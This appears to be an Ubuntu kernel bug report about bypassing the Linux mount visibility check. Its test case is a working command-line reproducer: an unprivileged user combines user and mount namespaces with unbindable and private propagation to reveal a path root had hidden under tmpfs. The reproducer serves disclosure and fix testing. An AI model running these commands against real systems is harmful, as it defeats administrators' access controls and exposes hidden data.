Bug description:
  [Impact]

  Jonathan Calmels from NVIDIA reported that he's able to bypass the
  mount visibility security check in place in the Linux kernel by using
  a combination of the unbindable property along with the private mount
  propagation option to allow a unprivileged user to see a path which
  was purposefully hidden by the root user.

  [Test Case]

  Reproducer:
  # Hide a path to all users using a tmpfs
  root@castiana:~# mount -t tmpfs tmpfs /sys/devices/
  root@castiana:~#

  # As an unprivileged user, unshare user namespace and mount namespace
  stgraber@castiana:~$ unshare -U -m -r

  # Confirm the path is still not accessible
  root@castiana:~# ls /sys/devices/

  # Make /sys recursively unbindable and private
  root@castiana:~# mount --make-runbindable /sys
  root@castiana:~# mount --make-private /sys

  # Recursively bind-mount the rest of /sys over to /mnnt
  root@castiana:~# mount --rbind /sys/ /mnt

  # Access our hidden /sys/device as an unprivileged user
  root@castiana:~# ls /mnt/devices/
  breakpoint  cpu  cstate_core  cstate_pkg  i915  intel_pt  isa  kprobe  LNXSYSTM:00  msr  pci0000:00  platform  pnp0  power  software  system  tracepoint  uncore_arb  uncore_cbox_0  uncore_cbox_1  uprobe  virtual

  [Regression Potential]

  Low. The fixes are relatively simple. Regressions would most likely be
  specific to software utilizing user namespaces + mount propagation
  which is a small (but often important) portion of the Ubuntu archive.
